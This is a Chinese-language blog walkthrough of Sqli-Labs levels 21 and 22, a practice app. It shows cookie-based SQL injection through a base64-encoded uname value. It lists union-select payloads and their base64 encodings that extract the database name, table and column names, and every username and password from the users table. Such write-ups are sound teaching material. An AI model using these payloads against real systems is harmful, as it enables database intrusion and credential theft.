Sqli-Labs:Less 21 - Less 22

Less 21

基于错误_Base64编码_单引号_小括号_Cookie注入

这是 Page 2 的第一关即 Less 21,从这篇开始统一了一些语法规范,使提供下载的.md文件能够更好地在本地 Markdown 编辑器Typora上显示。
这里稍微推荐一下Typora,界面挺好看,但是不知道我能不能习惯那个把语法和预览合并了的视图。
还要夸一下,提供了下载全部文章的功能,但是必须绑定手机号才能发文章这点让我很头疼。

0x01. 判断注入点

还是正常登陆进去,发现界面和上一关几乎没有差别:

只是uname那里有一点点区别,这个编码方式也一眼就能看出来是base64编码,这也不多介绍,CTF 的很多题目都或多或少涉及base64

查看本地Cookie,发现也是base64编码后存储,说明这关和上一关注入方法是差不多的,只是需要编码一下。

这里顺带悼念一下曾经好用的 base64编解码网站,在我写题时给了我巨大的帮助,特别是解码为十六进制这个功能,在别的解码网站上并没见到过,不知道怎么就凉了,可能是忘了维护吧。网上在线编解码网站很多,随便用一个就可以。

我倒是忘了Hackbar编解码挺方便的。

0x02. 注入过程

我们已经知道后台逻辑与 Less 20 相同,需要的只是判断出查询语句。

步骤1:判断查询语句

uname = admin'
base64 = YWRtaW4n

字段就不注入了,直接得出 SQL 语句:

SELECT * FROM table_name WHERE username=('$cookie_uname') LIMIT 0,1

步骤2:数据库名

uname = 1') union select 1,2,database()#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

步骤3:表名

uname = 1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=

步骤4:字段名

uname = 1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2Vycycj

步骤5:数据

uname = 1') union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbmNhdF93cygnLScsaWQsdXNlcm5hbWUscGFzc3dvcmQpKSBmcm9tIHVzZXJzIw==

0x03. 吐槽

还是挺简单的嘛。
不知道从什么时候起文件名啊什么的不喜欢用空格,还是有空格好看啊。
发现发布完文章可以向专题投稿,懒得做这种事,不过前天 Less 17 被《我爱编程》收录了也是很惊讶。

Less 22

基于错误_Base64编码_双引号_Cookie注入

不知道为啥总喜欢把改了个括号的单独做成一关,是为了提醒判断 SQL 语句很重要么。

这关把单引号加小括号换成了双引号,除此之外没有任何区别。

你可能感兴趣的:(Sqli-Labs:Less 21 - Less 22)